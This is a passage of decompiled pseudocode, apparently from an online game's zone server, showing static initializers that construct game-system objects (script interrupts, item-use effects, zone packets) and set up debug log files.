*)&roe_magical.baseclass_0.baseclass_0.vfptr + v0) = sqrt(v1); } while ( v0 < 0x1F4 ); atexit(_E35_2); } //----- (0059BE80) -------------------------------------------------------- void __cdecl _E4_40() { ScenarioBookShelf::ScenarioBookShelf(&scenarioshelf); atexit(_E5_47); } //----- (0059BEA0) -------------------------------------------------------- void __cdecl _E3_18() { ScriptInterrupt::ScriptInterruptAreaEntry::ScriptInterruptAreaEntry((ScriptInterrupt::ScriptInterruptAreaEntry *)&si_AreaEntry); atexit(_E4_81); } //----- (0059BEC0) -------------------------------------------------------- void __cdecl _E6_3() { ScriptInterrupt::ScriptInterruptAreaLeave::ScriptInterruptAreaLeave((ScriptInterrupt::ScriptInterruptAreaLeave *)&si_AreaLeave); atexit(_E7_44); } //----- (0059BEE0) -------------------------------------------------------- void __cdecl _E9_1() { ScriptInterrupt::ScriptInterruptNPCClickHandle::ScriptInterruptNPCClickHandle((ScriptInterrupt::ScriptInterruptNPCClickHandle *)&si_NPCClickHandle); atexit(_E10_21); } //----- (0059BF00) -------------------------------------------------------- void __cdecl _E12_0() { ScriptInterrupt::ScriptInterruptNPCClickIndex::ScriptInterruptNPCClickIndex((ScriptInterrupt::ScriptInterruptNPCClickIndex *)&si_NPCClickIndex); atexit(_E13_20); } //----- (0059BF20) -------------------------------------------------------- void __cdecl _E15_0() { ScriptInterrupt::ScriptInterruptNPCClickAny::ScriptInterruptNPCClickAny((ScriptInterrupt::ScriptInterruptNPCClickAny *)&si_NPCClickAny); atexit(_E16_15); } //----- (0059BF40) -------------------------------------------------------- void __cdecl _E18_1() { ScriptInterrupt::ScriptInterruptObjectDeadHandle::ScriptInterruptObjectDeadHandle((ScriptInterrupt::ScriptInterruptObjectDeadHandle *)&si_ObjectDeadHandle); atexit(_E19_14); } //----- (0059BF60) -------------------------------------------------------- void __cdecl _E21_0() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::ScriptInterruptObjectDeadIndex((ScriptInterrupt::ScriptInterruptObjectDeadIndex *)&si_ObjectDeadIndex); atexit(_E22_10); } //----- (0059BF80) -------------------------------------------------------- void __cdecl _E24_0() { ScriptInterrupt::ScriptInterruptMobEleminate::ScriptInterruptMobEleminate((ScriptInterrupt::ScriptInterruptMobEleminate *)&si_MobEliminate); atexit(_E25_10); } //----- (0059BFA0) -------------------------------------------------------- void __cdecl _E27_0() { ScriptInterrupt::ScriptInterruptPlayerEleminate::ScriptInterruptPlayerEleminate((ScriptInterrupt::ScriptInterruptPlayerEleminate *)&si_PlayerEliminate); atexit(_E28_8); } //----- (0059BFC0) -------------------------------------------------------- void __cdecl _E30_0() { ScriptInterrupt::ScriptInterruptGuildEleminate::ScriptInterruptGuildEleminate((ScriptInterrupt::ScriptInterruptGuildEleminate *)&si_GuildEliminate); atexit(_E31_9); } //----- (0059BFE0) -------------------------------------------------------- void __cdecl _E33_0() { ScriptInterrupt::ScriptInterruptInterval::ScriptInterruptInterval((ScriptInterrupt::ScriptInterruptInterval *)&si_Interval); atexit(_E34_7); } //----- (0059C000) -------------------------------------------------------- void __cdecl _E36_0() { ScriptInterrupt::ScriptInterruptHPLow::ScriptInterruptHPLow((ScriptInterrupt::ScriptInterruptHPLow *)&si_HPLow); atexit(_E37_6); } //----- (0059C020) -------------------------------------------------------- void __cdecl _E39_0() { ScriptInterrupt::ScriptInterruptTimeOut::ScriptInterruptTimeOut((ScriptInterrupt::ScriptInterruptTimeOut *)&si_TimeOut); atexit(_E40_6); } //----- (0059C040) -------------------------------------------------------- void __cdecl _E42_0() { ScriptInterrupt::ScriptInterruptKillEnemy::ScriptInterruptKillEnemy((ScriptInterrupt::ScriptInterruptKillEnemy *)&si_KillEnemy); atexit(_E43_6); } //----- (0059C060) -------------------------------------------------------- void __cdecl _E45_0() { ScriptInterrupt::ScriptInterruptTargetChange::ScriptInterruptTargetChange((ScriptInterrupt::ScriptInterruptTargetChange *)&si_TargetChange); atexit(_E46_7); } //----- (0059C080) -------------------------------------------------------- void __cdecl _E48_0() { ScriptInterrupt::ScriptInterruptPlayerDead::ScriptInterruptPlayerDead((ScriptInterrupt::ScriptInterruptPlayerDead *)&si_PlayerDead); atexit(_E49_7); } //----- (0059C0A0) -------------------------------------------------------- void __cdecl _E51_0() { ScriptInterrupt::ScriptInterruptPickUpItemIndex::ScriptInterruptPickUpItemIndex((ScriptInterrupt::ScriptInterruptPickUpItemIndex *)&si_PickUpItemIndex); atexit(_E52_3); } //----- (0059C0C0) -------------------------------------------------------- void __cdecl _E54_0() { ScriptInterrupt::ScriptInterruptAdmin::ScriptInterruptAdmin((ScriptInterrupt::ScriptInterruptAdmin *)&si_Admin); atexit(_E55_3); } //----- (0059C0E0) -------------------------------------------------------- void __cdecl _E57_0() { ScriptInterrupt::ScriptInterruptHPFull::ScriptInterruptHPFull((ScriptInterrupt::ScriptInterruptHPFull *)&si_HPFull); atexit(_E58_3); } //----- (0059C100) -------------------------------------------------------- void __cdecl _E60_0() { ScriptInterrupt::ScriptInterruptHPUpper::ScriptInterruptHPUpper((ScriptInterrupt::ScriptInterruptHPUpper *)&si_HPUpper); atexit(_E61_3); } //----- (0059C120) -------------------------------------------------------- void __cdecl _E63_0() { ScriptInterrupt::ScriptInterruptUnitBase *v0; // eax@1 v0 = (ScriptInterrupt::ScriptInterruptUnitBase *)ScriptInterrupt::ScriptInterruptUnit::GetInstance(); ScriptInterrupt::ScriptInterruptAdder::ScriptInterruptAdder(&ScriptInterrupt::testInter, v0); } //----- (0059C140) -------------------------------------------------------- void __cdecl _E4_41() { atexit(_E5_48); } //----- (0059C150) -------------------------------------------------------- void __cdecl _E7_26() { atexit(_E8_30); } //----- (0059C160) -------------------------------------------------------- void __cdecl _E3_19() { SetItemData::SetItemClassifier::SetItemClassifier(&setitemclassifier); atexit(_E4_82); } //----- (0059C180) -------------------------------------------------------- void __cdecl _E6_4() { SetItemData::SetItemEffectList::SetItemEffectList(&setitemeffectlist); atexit(_E7_45); } //----- (0059C1A0) -------------------------------------------------------- void __cdecl _E9_2() { atexit(_E10_22); } //----- (0059C1B0) -------------------------------------------------------- void __cdecl _E12_1() { MemoryQueue::MemoryQueue(&setitemskilleffectqueue); atexit(_E13_21); } //----- (0059C1D0) -------------------------------------------------------- void __cdecl _E4_42() { atexit(_E5_54); } //----- (0059C1E0) -------------------------------------------------------- void __cdecl _E4_43() { atexit(_E5_56); } //----- (0059C1F0) -------------------------------------------------------- void __cdecl _E6_5() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"ItemMSLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&ItemMSLog - "ItemMSLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); ItemMSLog.dl_FilePointer = 0; EraseOldLogList("ItemMSLog"); ItemMSLog.dl_Activ = 1; atexit(_E7_48); } //----- (0059C240) -------------------------------------------------------- void __cdecl _E8_1() { MemoryQueue::MemoryQueue(&queue_roar); atexit(_E9_13); } //----- (0059C260) -------------------------------------------------------- void __cdecl _E4_44() { NameString::NameString(&namestring); atexit(_E5_63); } //----- (0059C280) -------------------------------------------------------- void __cdecl _E7_27() { AllOfRangeArgument::AllOfRangeArgument(&allofrangearg); atexit(_E8_32); } //----- (0059C2A0) -------------------------------------------------------- void __cdecl _E10_13() { atexit(_E11_25); } //----- (0059C2B0) -------------------------------------------------------- void __cdecl _E13_8() { MoveManager::MoveManager(&ShineObjectClass::ShineObject::so_defaultparam); atexit(_E14_12); } //----- (0059C2D0) -------------------------------------------------------- void __cdecl _E16_8() { SpyNet::EspionageAgent::EspionageAgent(&ShineObjectClass::ShineObject::so_spy); atexit(_E17_15); } //----- (0059C2F0) -------------------------------------------------------- void __cdecl _E19_4() { atexit(_E20_6); } //----- (0059C300) -------------------------------------------------------- void __cdecl _E22_3() { AbnormalStateContainer::AbstateListInObject::AbstateListInObject(&ShineObjectClass::ShineObject::so_defabstatelist); atexit(_E23_7); } //----- (0059C320) -------------------------------------------------------- void __cdecl _E25_3() { ItemOperateList::ItemOperateList((int)&ShineObjectClass::ShineObject::so_defitemoperate); atexit(_E26_5); } //----- (0059C340) -------------------------------------------------------- void __cdecl _E28_2() { InventoryLocking::InventoryCellLock::InventoryCellLock(&ShineObjectClass::ShineObject::so_definvlocklist); atexit(_E29_6); } //----- (0059C360) -------------------------------------------------------- void __cdecl _E31_2() { CharacterInventory::CharacterInventory(&ShineObjectClass::ShineObject::so_defiteminven); atexit(_E32_4); } //----- (0059C380) -------------------------------------------------------- void __cdecl _E34_2() { AllOfRangeArgument::AllOfRangeArgument(&ShineObjectClass::ShineObject::so_deftradebrd); atexit(_E35_3); } //----- (0059C3A0) -------------------------------------------------------- void __cdecl _E37_1() { CCharacterTitleZone::CCharacterTitleZone(&ShineObjectClass::ShineObject::so_DefCharTitle, &gCharacterTitleData); atexit(_E38_2); } //----- (0059C3C0) -------------------------------------------------------- void __cdecl _E40_1() { MoveManager::MoveManager(&ShineObjectClass::ShineObject::so_PacketEncrypt); atexit(_E41_1); } //----- (0059C3E0) -------------------------------------------------------- void __cdecl _E43_1() { PROTO_NC_CHAR_WEDDINGDATA_ACK::PROTO_NC_CHAR_WEDDINGDATA_ACK(&ShineObjectClass::ShineObject::so_WeddingData); atexit(_E44_2); } //----- (0059C400) -------------------------------------------------------- void __cdecl _E46_1() { ItemLotInspector::ItemLotInspector(&ShineObjectClass::ShineObject::so_ItemLotInspector); atexit(_E47_2); } //----- (0059C420) -------------------------------------------------------- void __cdecl _E49_1() { NPCAction::doTriggers_::doTriggers_(&ShineObjectClass::ShineObject::m_RTTI, "ShineObjectClass::ShineObject", 0); } //----- (0059C440) -------------------------------------------------------- void __cdecl _E53() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"BroadCastLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&BroadCastLog - "BroadCastLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); unk_124E7E28 = 0; EraseOldLogList("BroadCastLog"); unk_124E7FAC = 1; atexit(_E54_2); } //----- (0059C490) -------------------------------------------------------- void __cdecl _E56() { TargetAnalyser::TargetAnalyser((TargetAnalyser *)&ShineObjectClass::ShineMobileObject::TA::tmp); atexit(_E57_2); } //----- (0059C4B0) -------------------------------------------------------- void __cdecl _E59() { StreetBooth::StreetBooth(&ShineObjectClass::ShinePlayer::BoothSell::board); atexit(_E60_2); } //----- (0059C4D0) -------------------------------------------------------- void __cdecl _E62() { ClientSessionNull::ClientSessionNull(&ShineObjectClass::ShinePlayer::sp_defaultsocket); atexit(_E63_2); } //----- (0059C4F0) -------------------------------------------------------- void __cdecl _E65() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"InvalidProtocolLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&InvalidProtocolLog - "InvalidProtocolLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); unk_124E2F98 = 0; EraseOldLogList("InvalidProtocolLog"); unk_124E311C = 1; atexit(_E66_1); } //----- (0059C540) -------------------------------------------------------- void __cdecl _E68() { NPCAction::doTriggers_::doTriggers_( &ShineObjectClass::ShineNPC::m_RTTI, "ShineObjectClass::ShineNPC", &ShineObjectClass::ShineMob::m_RTTI); } //----- (0059C560) -------------------------------------------------------- void __cdecl _E70_0() { NPCAction::doTriggers_::doTriggers_( &ShineObjectClass::ShineDoor::m_RTTI, "ShineObjectClass::ShineDoor", &ShineObjectClass::ShineMobileObject::m_RTTI); } //----- (0059C580) -------------------------------------------------------- void __cdecl _E72_0() { NPCAction::doTriggers_::doTriggers_( &ShineObjectClass::ShineMagicField::m_RTTI, "ShineObjectClass::ShineMagicField", &ShineObjectClass::ShineObject::m_RTTI); } //----- (0059C5A0) -------------------------------------------------------- void __cdecl _E74() { NPCAction::doTriggers_::doTriggers_( &ShineObjectClass::ShineMiniHouse::m_RTTI, "ShineObjectClass::ShineMiniHouse", &ShineObjectClass::ShineObject::m_RTTI); } //----- (0059C5C0) -------------------------------------------------------- void __cdecl _E76_0() { NPCAction::doTriggers_::doTriggers_( &ShineObjectClass::ShineMob::m_RTTI, "ShineObjectClass::ShineMob", &ShineObjectClass::ShineMobileObject::m_RTTI); } //----- (0059C5E0) -------------------------------------------------------- void __cdecl _E78_0() { NPCAction::doTriggers_::doTriggers_( &ShineObjectClass::ShineBandit::m_RTTI, "ShineObjectClass::ShineBandit", &ShineObjectClass::ShineMob::m_RTTI); } //----- (0059C600) -------------------------------------------------------- void __cdecl _E80() { NPCAction::doTriggers_::doTriggers_( &ShineObjectClass::ShineServant::m_RTTI, "ShineObjectClass::ShineServant", &ShineObjectClass::ShineMob::m_RTTI); } //----- (0059C620) -------------------------------------------------------- void __cdecl _E84_0() { ShineObjectManager::ShineObjectManager(&shineobjmanager); atexit(_E85_2); } //----- (0059C640) -------------------------------------------------------- void __cdecl _E93() { MemoryQueue::MemoryQueue(&queue_linkreserv); atexit(_E94_1); } //----- (0059C660) -------------------------------------------------------- void __cdecl _E98() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"CoordRepairLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&CoordRepairLog - "CoordRepairLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); CoordRepairLog.dl_FilePointer = 0; EraseOldLogList("CoordRepairLog"); CoordRepairLog.dl_Activ = 1; atexit(_E99_0); } //----- (0059C6B0) -------------------------------------------------------- void __cdecl _E101() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"EldLocateLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&EldLocateLog - "EldLocateLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); EldLocateLog.dl_FilePointer = 0; EraseOldLogList("EldLocateLog"); EldLocateLog.dl_Activ = 1; atexit(_E102_0); } //----- (0059C700) -------------------------------------------------------- void __cdecl _E3_20() { NPCAction::doTriggers_::doTriggers_( &ShineObjectClass::ShineMobileObject::m_RTTI, "ShineObjectClass::ShineMobileObject", &ShineObjectClass::ShineObject::m_RTTI); } //----- (0059C720) -------------------------------------------------------- void __cdecl _E4_45() { NPCAction::doTriggers_::doTriggers_( &ShineObjectClass::ShinePlayer::m_RTTI, "ShinePlayer", &ShineObjectClass::ShineMobileObject::m_RTTI); } //----- (0059C740) -------------------------------------------------------- void __cdecl _E4_46() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"ReinforceMoveLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&ReinforceMoveLog - "ReinforceMoveLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); ReinforceMoveLog.dl_FilePointer = 0; EraseOldLogList("ReinforceMoveLog"); ReinforceMoveLog.dl_Activ = 1; atexit(_E5_64); } //----- (0059C790) -------------------------------------------------------- void __cdecl _E4_47() { MemoryQueue::MemoryQueue(&queue_MH_InnerInfo); atexit(_E5_65); } //----- (0059C7B0) -------------------------------------------------------- void __cdecl _E1_23() { ShineRadian::ShineRadian(&shineradian); atexit(_E2_23); } //----- (0059C7D0) -------------------------------------------------------- void __cdecl _E20_0() { AxialListNearScanSkillEnemy::AxialListNearScanSkillEnemy((AxialListNearScanSkillEnemy *)&alnse); atexit(_E21_5); } //----- (0059C7F0) -------------------------------------------------------- void __cdecl _E23_1() { AxialListNearScanSkillFriend::AxialListNearScanSkillFriend(&alnsf); atexit(_E24_4); } //----- (0059C810) -------------------------------------------------------- void __cdecl _E26_0() { AxialListNearScanSkillParty::AxialListNearScanSkillParty(&alnsp); atexit(_E27_4); } //----- (0059C830) -------------------------------------------------------- void __cdecl _E29_0() { FanFormSectorArgument::FanFormSectorArgument(&ffsa); atexit(_E30_3); } //----- (0059C850) -------------------------------------------------------- void __cdecl _E32_0() { MemoryQueue::MemoryQueue((MemoryQueue *)&queue_skillerase); atexit(_E33_4); } //----- (0059C870) -------------------------------------------------------- void __cdecl _E3_21() { SkillDataBox::SkillDataBox(&skilldatabox); atexit(_E4_83); } //----- (0059C890) -------------------------------------------------------- void __cdecl _E6_6() { PassiveDataBox::PassiveDataBox((PassiveDataBox *)&passivedatabox); atexit(_E7_51); } //----- (0059C8B0) -------------------------------------------------------- void __cdecl _E9_3() { BTree::BTree(&skillnametree); atexit(_E10_25); } //----- (0059C8D0) -------------------------------------------------------- void __cdecl _E1_24() { SpamerPenaltyDataBox::SpamerPenaltyDataBox(&SpamerPenaltyData); atexit(_E2_24); } //----- (0059C8F0) -------------------------------------------------------- void __cdecl _E6_7() { MemoryQueue::MemoryQueue(&queue_sparrowfly); atexit(_E7_53); } //----- (0059C910) -------------------------------------------------------- void __cdecl _E14_0() { atexit(_E15_10); } //----- (0059C920) -------------------------------------------------------- void __cdecl _E17_0() { atexit(_E18_6); } //----- (0059C930) -------------------------------------------------------- void __cdecl _E3_22() { atexit(_E4_84); } //----- (0059C940) -------------------------------------------------------- void __cdecl _E1_25() { UpgradeDataBox::UpgradeDataBox(&upgradedatabox); atexit(_E2_25); } //----- (0059C960) -------------------------------------------------------- void __cdecl _E4_48() { UseEffect::UsedItemEffect::UsedItemEffect(&useditemeffect); atexit(_E5_73); } //----- (0059C980) -------------------------------------------------------- void __cdecl _E7_28() { atexit(_E8_34); } //----- (0059C990) -------------------------------------------------------- void __cdecl _E10_14() { UseEffect::UseItemJustReviveAtDead::UseItemJustReviveAtDead((UseEffect::UseItemJustReviveAtDead *)&ui_JustRevive); atexit(_E11_31); } //----- (0059C9B0) -------------------------------------------------------- void __cdecl _E13_9() { UseEffect::UseItemSilverWing::UseItemSilverWing((UseEffect::UseItemSilverWing *)&ui_silverwing); atexit(_E14_14); } //----- (0059C9D0) -------------------------------------------------------- void __cdecl _E16_9() { UseEffect::UseItemRecallScroll::UseItemRecallScroll(&ui_recallscroll); atexit(_E17_17); } //----- (0059C9F0) -------------------------------------------------------- void __cdecl _E19_5() { UseEffect::UseItemSkillScroll::UseItemSkillScroll(&ui_skillscroll); atexit(_E20_8); } //----- (0059CA10) -------------------------------------------------------- void __cdecl _E22_4() { UseEffect::UseItemChest::UseItemChest((UseEffect::UseItemChest *)&ui_chestopen); atexit(_E23_8); } //----- (0059CA30) -------------------------------------------------------- void __cdecl _E25_4() { UseEffect::UseItemMysteryBolt::UseItemMysteryBolt((UseEffect::UseItemMysteryBolt *)&ui_mysterybolt); atexit(_E26_6); } //----- (0059CA50) -------------------------------------------------------- void __cdecl _E28_3() { UseEffect::UseItemByTable::UseItemByTable(&ui_bytable); atexit(_E29_7); } //----- (0059CA70) -------------------------------------------------------- void __cdecl _E31_3() { UseEffect::UseItemChargedBuff::UseItemChargedBuff((UseEffect::UseItemChargedBuff *)&ui_chargedbuff); atexit(_E32_5); } //----- (0059CA90) -------------------------------------------------------- void __cdecl _E34_3() { UseEffect::UseItemMiniHouse::UseItemMiniHouse((UseEffect::UseItemMiniHouse *)&ui_minihouse); atexit(_E35_4); } //----- (0059CAB0) -------------------------------------------------------- void __cdecl _E37_2() { UseEffect::UseItemActionItem::UseItemActionItem(&ui_actionitem); atexit(_E38_3); } //----- (0059CAD0) -------------------------------------------------------- void __cdecl _E40_2() { UseEffect::UseItemMiniHouseFurniture::UseItemMiniHouseFurniture((UseEffect::UseItemMiniHouseFurniture *)&ui_minihousefurniture); atexit(_E41_2); } //----- (0059CAF0) -------------------------------------------------------- void __cdecl _E43_2() { UseEffect::UseItemRide::UseItemRide((UseEffect::UseItemRide *)&ui_ride); atexit(_E44_3); } //----- (0059CB10) -------------------------------------------------------- void __cdecl _E46_2() { UseEffect::UseItemHorseFood::UseItemHorseFood((UseEffect::UseItemHorseFood *)&ui_horsefood); atexit(_E47_3); } //----- (0059CB30) -------------------------------------------------------- void __cdecl _E49_2() { UseEffect::UseItemItemPackage::UseItemItemPackage(&ui_itempackage); atexit(_E50_1); } //----- (0059CB50) -------------------------------------------------------- void __cdecl _E52_1() { UseEffect::UseItemLicenseClear::UseItemLicenseClear(&ui_LicenceClear); atexit(_E53_2); } //----- (0059CB70) -------------------------------------------------------- void __cdecl _E55_1() { UseEffect::UseItemAmountHP::UseItemAmountHP(&ui_amounthp); atexit(_E56_2); } //----- (0059CB90) -------------------------------------------------------- void __cdecl _E58_1() { UseEffect::UseItemAmountSP::UseItemAmountSP(&ui_amountsp); atexit(_E59_2); } //----- (0059CBB0) -------------------------------------------------------- void __cdecl _E61_1() { UseEffect::UseItemStatClear::UseItemStatClear(&ui_StatClearStat, 5, 14); atexit(_E62_2); } //----- (0059CBD0) -------------------------------------------------------- void __cdecl _E64_1() { UseEffect::UseItemStatClear::UseItemStatClear(&ui_StatClearEmpow, 6, 15); atexit(_E65_2); } //----- (0059CBF0) -------------------------------------------------------- void __cdecl _E67_0() { UseEffect::UseItemRoar::UseItemRoar((UseEffect::UseItemRoar *)&ui_Roar); atexit(_E68_1); } //----- (0059CC10) -------------------------------------------------------- void __cdecl _E70_1() { UseEffect::UseItemSkillErase::UseItemSkillErase((UseEffect::UseItemSkillErase *)&ui_SkillErase); atexit(_E71_0); } //----- (0059CC30) -------------------------------------------------------- void __cdecl _E73_0() { UseEffect::UseItemMemoryFeather::UseItemMemoryFeather(&ui_MemoryFeather); atexit(_E74_1); } //----- (0059CC50) -------------------------------------------------------- void __cdecl _E76_1() { UseEffect::UseItemWingStone::UseItemWingStone((UseEffect::UseItemWingStone *)&ui_SparrowWingStone); atexit(_E77_0); } //----- (0059CC70) -------------------------------------------------------- void __cdecl _E79_0() { UseEffect::UseItemBossMobDetect::UseItemBossMobDetect(&ui_BossMobDetect); atexit(_E80_1); } //----- (0059CC90) -------------------------------------------------------- void __cdecl _E82_0() { UseEffect::UseItemNoEffect::UseItemNoEffect(&ui_NoEffect); atexit(_E83_1); } //----- (0059CCB0) -------------------------------------------------------- void __cdecl _E85_0() { UseEffect::UseItemSkillDummy2Real::UseItemSkillDummy2Real((UseEffect::UseItemSkillDummy2Real *)&ui_dummy2real); atexit(_E86_0); } //----- (0059CCD0) -------------------------------------------------------- void __cdecl _E88_0() { UseEffect::UseItemPropose::UseItemPropose(&ui_Propose); atexit(_E89_0); } //----- (0059CCF0) -------------------------------------------------------- void __cdecl _E91_0() { UseEffect::UseItemImmediateDivorce::UseItemImmediateDivorce(&ui_ImmediateDivorce); atexit(_E92_1); } //----- (0059CD10) -------------------------------------------------------- void __cdecl _E94_0() { UseEffect::UseItemGuildReName::UseItemGuildReName((UseEffect::UseItemGuildReName *)&ui_GuildReName); atexit(_E95_0); } //----- (0059CD30) -------------------------------------------------------- void __cdecl _E97_0() { UseEffect::UseItemGuildReType::UseItemGuildReType((UseEffect::UseItemGuildReType *)&ui_GuildReType); atexit(_E98_1); } //----- (0059CD50) -------------------------------------------------------- void __cdecl _E100_0() { UseEffect::UseItemFurnitureEndureKit::UseItemFurnitureEndureKit(&ui_FurnitureEndureKit); atexit(_E101_1); } //----- (0059CD70) -------------------------------------------------------- void __cdecl _E4_49() { WeddingHall::WeddingHall(&weddinghall); atexit(_E5_75); } //----- (0059CD90) -------------------------------------------------------- void __cdecl _E4_50() { ZoneRingPacketFindPlayer::ZoneRingPacketFindPlayer(&zonringpack_findplayer); atexit(_E5_76); } //----- (0059CDB0) -------------------------------------------------------- void __cdecl _E7_29() { ZoneRingPacketSummonPlayer::ZoneRingPacketSummonPlayer(&zonringpack_summonplayer); atexit(_E8_36); } //----- (0059CDD0) -------------------------------------------------------- void __cdecl _E10_15() { ZoneRingPacketKickPlayerOut::ZoneRingPacketKickPlayerOut(&zonringpack_kickplayerout); atexit(_E11_32); } //----- (0059CDF0) -------------------------------------------------------- void __cdecl _E13_10() { ZoneRingPacketExpBonus::ZoneRingPacketExpBonus(&zonringpack_expbonus); atexit(_E14_15); } //----- (0059CE10) -------------------------------------------------------- void __cdecl _E16_10() { ZoneRingPacketItemBonus::ZoneRingPacketItemBonus(&zonringpack_itembonus); atexit(_E17_18); } //----- (0059CE30) -------------------------------------------------------- void __cdecl _E19_6() { ZoneRingPacketFindPlayerByNormalUser::ZoneRingPacketFindPlayerByNormalUser(&zonringpack_findplayerbynormaluser); atexit(_E20_9); } //----- (0059CE50) -------------------------------------------------------- void __cdecl _E22_5() { ZoneRingPacketSummonPartner::ZoneRingPacketSummonPartner(&zonringpack_summonpartner); atexit(_E23_9); } //----- (0059CE70) -------------------------------------------------------- void __cdecl _E25_5() { ZoneRingPacketFindInstanceDungeon::ZoneRingPacketFindInstanceDungeon((ZoneRingPacketFindInstanceDungeon *)&zonringpack_refresh_weddinginfo); atexit(_E26_7); } //----- (0059CE90) -------------------------------------------------------- void __cdecl _E28_4() { ZoneRingPacketEmtpyInstanceDungeon::ZoneRingPacketEmtpyInstanceDungeon(&zonringpack_emptyinstancedungeon); atexit(_E29_8); } //----- (0059CEB0) -------------------------------------------------------- void __cdecl _E31_4() { ZoneRingPacketFindInstanceDungeon::ZoneRingPacketFindInstanceDungeon(&zonringpack_findinstancedungeon); atexit(_E32_6); } //----- (0059CED0) -------------------------------------------------------- void __cdecl _E3_23() { ZoneIPContainer::ZoneIPContainer(&zipc); atexit(_E4_87); } //----- (0059CEF0) -------------------------------------------------------- void __cdecl _E4_51() { CWeaponTitleZone::CWeaponTitleZone(&gWeaponTitle); atexit(_E5_77); } //----- (0059CF10) -------------------------------------------------------- void __cdecl _E7_30() { CCharacterTitleData::CCharacterTitleData((BinaryData *)&gCharacterTitleData); atexit(_E8_37); } //----- (0059CF30) -------------------------------------------------------- void __cdecl _E10_16() { CCharacterTitleData::CCharacterTitleData((BinaryData *)&gAnnounceSystem); atexit(_E11_33); } //----- (0059CF50) -------------------------------------------------------- void __cdecl _E13_11() { CQuestData::CQuestData(&gQuestData, 0); atexit(_E14_16); } //----- (0059CF70) -------------------------------------------------------- void __cdecl _E16_11() { CGuildZone::CGuildZone(&gGuild); atexit(_E17_19); } //----- (0059CF90) -------------------------------------------------------- void __cdecl _E19_7() { CDataReader::CDataReader(&gClassName); atexit(_E20_10); } //----- (0059CFB0) -------------------------------------------------------- void __cdecl _E22_6() { CDataReader::CDataReader(&gItemUpgrade); atexit(_E23_10); } //----- (0059CFD0) -------------------------------------------------------- void __cdecl _E25_6() { CDataReader::CDataReader(&gItemDismantle); atexit(_E26_8); } //----- (0059CFF0) -------------------------------------------------------- void __cdecl _E28_5() { CDataReader::CDataReader(&gMiniHouseObjEffect); atexit(_E29_9); } //----- (0059D010) -------------------------------------------------------- void __cdecl _E31_5() { CDataReader::CDataReader(&gMiniHouseDiceRate); atexit(_E32_7); } //----- (0059D030) -------------------------------------------------------- void __cdecl _E34_4() { CDataReader::CDataReader(&gMiniHouseDiecGame); atexit(_E35_5); } //----- (0059D050) -------------------------------------------------------- void __cdecl _E37_3() { CDataReader::CDataReader(&gMiniHouseDiceDividind); atexit(_E38_4); } //----- (0059D070) -------------------------------------------------------- void __cdecl _E40_3() { MoveManager::MoveManager(&gMiniHouseDiceTaiSai); atexit(_E41_3); } //----- (0059D090) -------------------------------------------------------- void __cdecl _E43_3() { DiceTaiSaiDividind::DiceTaiSaiDividind(&gMiniHouseDiceTaiSaiDividind); atexit(_E44_4); } //----- (0059D0B0) -------------------------------------------------------- void __cdecl _E46_3() { atexit(_E47_4); } //----- (0059D0C0) -------------------------------------------------------- void __cdecl _E49_3() { std::set_std::allocator>::set_std::allocator>((std::set,std::allocator > *)&globalset); atexit(_E50_2); } //----- (0059D0E0) -------------------------------------------------------- void __cdecl _E1_26() { clockwatch.cw_LastMilliSec = timeGetTime(); clockwatch.cw_DeltaTick = 0; clockwatch.cw_IsReset = 0; clockwatch.cw_LastMilliSecByDelta = timeGetTime(); atexit(_E2_26); } //----- (0059D110) -------------------------------------------------------- void __cdecl _E6_8() { atexit(_E7_58); } //----- (0059D120) -------------------------------------------------------- void __cdecl _E9_4() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"BalanceLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&BalanceLog - "BalanceLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); BalanceLog.dl_FilePointer = 0; EraseOldLogList("BalanceLog"); BalanceLog.dl_Activ = 1; atexit(_E10_28); } //----- (0059D170) -------------------------------------------------------- void __cdecl _E12_2() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("MobAggroLog"); atexit(_E13_27); } //----- (0059D1C0) -------------------------------------------------------- void __cdecl _E15_1() { atexit(_E16_18); } //----- (0059D1D0) -------------------------------------------------------- void __cdecl _E18_2() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("SkillLog"); atexit(_E19_16); } //----- (0059D220) -------------------------------------------------------- void __cdecl _E21_1() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"KQLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&KQLogging - "KQLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); KQLogging.dl_FilePointer = 0; EraseOldLogList("KQLog"); KQLogging.dl_Activ = 1; atexit(_E22_12); } //----- (0059D270) -------------------------------------------------------- void __cdecl _E24_1() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("PacketLog"); atexit(_E25_11); } //----- (0059D2C0) -------------------------------------------------------- void __cdecl _E27_1() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("ZoneRingLinkLog"); atexit(_E28_9); } //----- (0059D310) -------------------------------------------------------- void __cdecl _E30_1() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); 